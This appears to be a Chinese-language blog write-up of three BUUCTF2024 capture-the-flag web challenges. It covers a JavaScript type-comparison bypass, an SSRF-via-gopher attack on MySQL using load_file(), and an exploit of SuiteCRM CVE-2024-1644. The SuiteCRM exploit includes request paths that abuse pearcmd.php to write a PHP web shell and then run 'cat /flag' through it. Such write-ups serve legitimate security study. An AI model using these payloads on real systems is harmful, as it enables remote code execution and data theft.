BUUCTF2024
cool_index
前置
考察js中字符串与数字比较
类似字符串
7+1
与数字无法比较1
2
3
4
5
6
7
8
9
10
11
12
13
14
15let index='7+1';
if(index==0)
{
console.log('0');
}
if(index<0)
{
console.log('<0');
}
if(index>0)
{
console.log('>0');
}
// 无输出parseInt()
1
2
3index = parseInt('7!!');
console.log(index);
// 7拿的第一个数字
解题
情况:FLAG在articles[index]
中输出,且index=7
,需要admin
server.js 中
1 | if (decoded.subscription !== "premium" && index >= 7) |
一开始是想伪造session拿到admin,但是JWT_SECRET
属实是不知道。。。这条路似乎行不通
之后想办法让index=7且绕过index >= 7
1 | const decoded = jwt.verify(token, JWT_SECRET); |
亮点是在index = parseInt(index);
所在位置,是在检验index之后才进行
所以可以利用 js中字符串与数字比较 这一点
1 | {"index":"7!!!"} |
EasySignin
随意注册,抓包改admin密码,登录admin
《康好康的图片》 → 一个url
一个SSRF
不能直接读本地文件 ×
使用gopher协议 √
3306端口
这里利用SSRF冒充本地向SQL服务器发送认证数据包,使用MySQL中的函数**load_file()**读flag文件
GET参数url的值要再进行一次url编码
SuiteCRM
提示 CVE-2024-1644
漏洞分析(CVE-2024-1644)
1 | $legacyRoute = $kernel->getLegacyRoute($request); |
要达成
1 | $access === true |
先跟进$legacyRoute = $kernel->getLegacyRoute($request);
往里走看看这三个变量怎么取的
其中getIncludeFile()返回是
1 | return [ |
那就往这个函数上靠
这里利用的是最后一个if
→ isLegacyNonViewActionRoute()返回true → matchRequest()异常 √
最后,对于getIncludeFile()
(注意:返回的baseUrl要有.php,否则会变成一坨)
简单讲解一下该函数,他首先获取requesturi的值,也就是url中ip端口后的所有字符串,类似于
/public/index.php//etc/passwd?location=install
这样的格式接着他将
?
后面以及问号所有字符串去掉,剩下/public/index.php//etc/passwd
最后他通过$this->getBaseUrlReal()获取请求包里真正访问的文件,这里就是/public/index.php,这跟cgi有关,然后从该位置开始截取最后只剩下
//etc/passwd
,他就作为pathinfo参数return出来
所以最后的利用方法:
1 | .../index.php/xxx(require利用文件路径) |
题解
这题是不能上传文件的,所以利用的文件只能是本地文件 => pearcmd.php
ps:注意改端口81
1 | /index.php//usr/local/lib/php/pearcmd.php?+config-create+/<?=`$_GET[1]`?>+/tmp/hacker.php |
1 | /index.php//tmp/hacker.php?1=cat /flag |
- Title: BUUCTF2024
- Author: dawn_r1sing
- Created at : 2024-06-07 17:25:00
- Updated at : 2024-07-16 20:07:23
- Link: https://dawnrisingdong.github.io/2024/06/07/BUUCTF2024/
- License: This work is licensed under CC BY-NC-SA 4.0.